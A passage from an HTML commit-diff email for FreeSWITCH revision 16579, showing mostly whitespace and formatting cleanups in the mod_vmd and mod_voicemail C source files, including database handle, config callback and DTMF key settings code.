</span><del>- /* If adding a media bug fails exit */
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- goto end;
- }
</del><ins>+        /* If adding a media bug fails exit */
+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+                goto end;
+        }
</ins><span class="cx">
</span><del>- /* Set the vmd tag to detect an existing vmd media bug */
- switch_channel_set_private(channel, "_vmd_", bug);
</del><ins>+        /* Set the vmd tag to detect an existing vmd media bug */
+        switch_channel_set_private(channel, "_vmd_", bug);
</ins><span class="cx">
</span><del>- /* Everything went according to plan! Notify the user */
- stream->write_function(stream, "+OK\n");
</del><ins>+        /* Everything went according to plan! Notify the user */
+        stream->write_function(stream, "+OK\n");
</ins><span class="cx">
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (vmd_session) {
</span><span class="cx">                 switch_core_session_rwunlock(vmd_session);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- switch_safe_free(ccmd);
</del><ins>+        switch_safe_free(ccmd);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_voicemailmod_voicemailc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -146,7 +146,7 @@
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         uint32_t flags;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_config_item_t config[VM_PROFILE_CONFIGITEM_COUNT];
</span><span class="cx">         switch_xml_config_string_options_t config_str_pool;
</span><span class="cx"> };
</span><span class="lines">@@ -157,17 +157,19 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(profile->odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = profile->odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = profile->odbc_user;
</span><span class="cx">                 options.odbc_options.pass = profile->odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = profile->dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -190,7 +192,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -200,21 +202,22 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback, void *pdata)
</del><ins>+static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
+                                                                                         void *pdata)
</ins><span class="cx"> {
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!(dbh = vm_get_db_handle(profile))) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
</span><span class="cx">
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -245,21 +248,14 @@
</span><span class="cx">         " cid_name VARCHAR(255),\n"
</span><span class="cx">         " cid_number VARCHAR(255),\n"
</span><span class="cx">         " in_folder VARCHAR(255),\n"
</span><del>-        " file_path VARCHAR(255),\n"
-        " message_len INTEGER,\n"
-        " flags VARCHAR(255),\n"
-        " read_flags VARCHAR(255),\n"
-        " forwarded_by VARCHAR(255)\n"
-        ");\n";
</del><ins>+        " file_path VARCHAR(255),\n"
+        " message_len INTEGER,\n" " flags VARCHAR(255),\n" " read_flags VARCHAR(255),\n" " forwarded_by VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char vm_pref_sql[] =
</span><span class="cx">         "CREATE TABLE voicemail_prefs (\n"
</span><span class="cx">         " username VARCHAR(255),\n"
</span><del>-        " domain VARCHAR(255),\n"
-        " name_path VARCHAR(255),\n"
-        " greeting_path VARCHAR(255),\n"
-        " password VARCHAR(255)\n"
-        ");\n";
</del><ins>+        " domain VARCHAR(255),\n"
+        " name_path VARCHAR(255),\n" " greeting_path VARCHAR(255),\n" " password VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char *vm_index_list[] = {
</span><span class="cx">         "create index voicemail_msgs_idx1 on voicemail_msgs(created_epoch)",
</span><span class="lines">@@ -280,7 +276,7 @@
</span><span class="cx">         switch_core_destroy_memory_pool(&profile->pool);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void destroy_profile(const char *profile_name, switch_bool_t block)
</del><ins>+static void destroy_profile(const char *profile_name, switch_bool_t block)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -295,17 +291,18 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (block) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Waiting for write lock\n", profile->name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Waiting for write lock\n", profile->name);
</ins><span class="cx">                 switch_thread_rwlock_wrlock(profile->rwlock);
</span><span class="cx">         } else {
</span><span class="cx">                 if (switch_thread_rwlock_trywrlock(profile->rwlock) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Lock failed, set the destroy flag so it'll be destroyed whenever its not in use anymore */
</span><span class="cx">                         switch_set_flag(profile, PFLAG_DESTROY);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Profile is in use, memory will be freed whenever its no longer in use\n", profile->name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Profile is in use, memory will be freed whenever its no longer in use\n",
+                                                         profile->name);
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         free_profile(profile);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -321,26 +318,26 @@
</span><span class="cx"> static switch_xml_config_int_options_t config_int_ht_0 = { SWITCH_TRUE, 0 };
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_enum_item_t config_play_date_announcement[] = {
</span><del>-        { "first", VM_DATE_FIRST },
-        { "last", VM_DATE_LAST },
-        { "never", VM_DATE_NEVER },
-        { NULL, 0 }
</del><ins>+        {"first", VM_DATE_FIRST},
+        {"last", VM_DATE_LAST},
+        {"never", VM_DATE_NEVER},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item->data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item->data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-        
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *email_headers = NULL, *email_body = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
</del><ins>+                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 email_headers = switch_core_strdup(profile->pool, stream.data);
</span><span class="cx">                                 if ((email_body = strstr(email_headers, "\n\n"))) {
</span><span class="cx">                                         *email_body = '\0';
</span><span class="lines">@@ -350,10 +347,10 @@
</span><span class="cx">                                         email_body += 4;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (email_headers) {
</span><span class="cx">                         profile->email_headers = email_headers;
</span><span class="cx">                 }
</span><span class="lines">@@ -361,23 +358,23 @@
</span><span class="cx">                         profile->email_body = email_body;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                 switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item->data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item->data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-                
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *email_headers = NULL, *email_body = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
</del><ins>+                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 email_headers = switch_core_strdup(profile->pool, stream.data);
</span><span class="cx">                                 if ((email_body = strstr(email_headers, "\n\n"))) {
</span><span class="cx">                                         *email_body = '\0';
</span><span class="lines">@@ -387,10 +384,10 @@
</span><span class="cx">                                         email_body += 4;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (email_headers) {
</span><span class="cx">                         profile->notify_email_headers = email_headers;
</span><span class="cx">                 }
</span><span class="lines">@@ -398,24 +395,24 @@
</span><span class="cx">                         profile->notify_email_body = email_body;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                         switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item->data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item->data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-                
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *web_head = NULL, *web_tail = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
-                                web_head = switch_core_strdup(profile->        pool, stream.data);
</del><ins>+                        if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
+                                web_head = switch_core_strdup(profile->pool, stream.data);
</ins><span class="cx">
</span><span class="cx">                                 if ((web_tail = strstr(web_head, "<!break>\n"))) {
</span><span class="cx">                                         *web_tail = '\0';
</span><span class="lines">@@ -425,32 +422,33 @@
</span><span class="cx">                                         web_tail += 10;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (web_head) {
</span><del>-                        profile->web_head= web_head;
</del><ins>+                        profile->web_head = web_head;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (web_tail) {
</span><span class="cx">                         profile->web_tail = web_tail;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                         switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && newvalue) {
</span><del>-                int val = *(int*)item->ptr;
</del><ins>+                int val = *(int *) item->ptr;
</ins><span class="cx">                 if (val != 0 && !switch_is_valid_rate(val)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid samplerate %s\n", newvalue);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -460,154 +458,148 @@
</span><span class="cx"> vm_profile_t *profile_set_config(vm_profile_t *profile)
</span><span class="cx"> {
</span><span class="cx">         int i = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         profile->config_str_pool.pool = profile->pool;
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        SWITCH _CONFIG_SET_ITEM(item, "key", type, flags,
-                pointer, default, options, help_syntax, help_description)
-        */
-        
-        /* DTMFs */        
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-new-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->play_new_messages_key, "1", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-saved-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->play_saved_messages_key, "2", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "login-keys", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->login_keys, "0", &config_login_keys, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "main-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->main_menu_key, "0", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-greet-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->skip_greet_key, "#", &config_dtmf, NULL, NULL);                
</del><ins>+         SWITCH _CONFIG_SET_ITEM(item, "key", type, flags,
+         pointer, default, options, help_syntax, help_description)
+         */
+
+        /* DTMFs */
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-new-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->play_new_messages_key, "1", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-saved-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->play_saved_messages_key, "2", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "login-keys", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->login_keys, "0", &config_login_keys, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "main-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->main_menu_key, "0", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-greet-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->skip_greet_key, "#", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-info-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                &profile->skip_info_key, "", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "config-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->config_menu_key, "5", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_greeting_key, "1", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "choose-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->choose_greeting_key, "2", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_name_key, "3", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "change-pass-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->change_pass_key, "6", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_file_key, "3", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "listen-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->listen_file_key, "1", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "save-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->save_file_key, "2", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "delete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->delete_file_key, "7", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "undelete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->undelete_file_key, "8", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->email_key, "4", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->callback_key, "5", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "pause-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->pause_key, "0", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "restart-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->restart_key, "1", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "ff-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->ff_key, "6", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "rew-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->rew_key, "4", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "previous-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->prev_msg_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->next_msg_key, "", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "urgent-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->urgent_key, "*", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->operator_key, "", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->vmain_key, "", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->vmain_ext, "", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "forward-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->forward_key, "8", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prepend-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->prepend_key, "1", &config_dtmf, NULL, NULL);
</del><ins>+                                                 &profile->skip_info_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "config-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->config_menu_key, "5", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_greeting_key, "1", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "choose-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->choose_greeting_key, "2", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_name_key, "3", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "change-pass-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->change_pass_key, "6", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_file_key, "3", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "listen-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->listen_file_key, "1", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "save-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->save_file_key, "2", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "delete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->delete_file_key, "7", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "undelete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->undelete_file_key, "8", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->email_key, "4", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->callback_key, "5", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "pause-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->pause_key, "0", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "restart-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->restart_key, "1", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "ff-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->ff_key, "6", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "rew-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->rew_key, "4", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "previous-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->prev_msg_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->next_msg_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "urgent-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->urgent_key, "*", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->operator_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->vmain_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->vmain_ext, "", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "forward-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->forward_key, "8", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prepend-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->prepend_key, "1", &config_dtmf, NULL, NULL);
</ins><span class="cx">
</span><span class="cx">         /* Other settings */
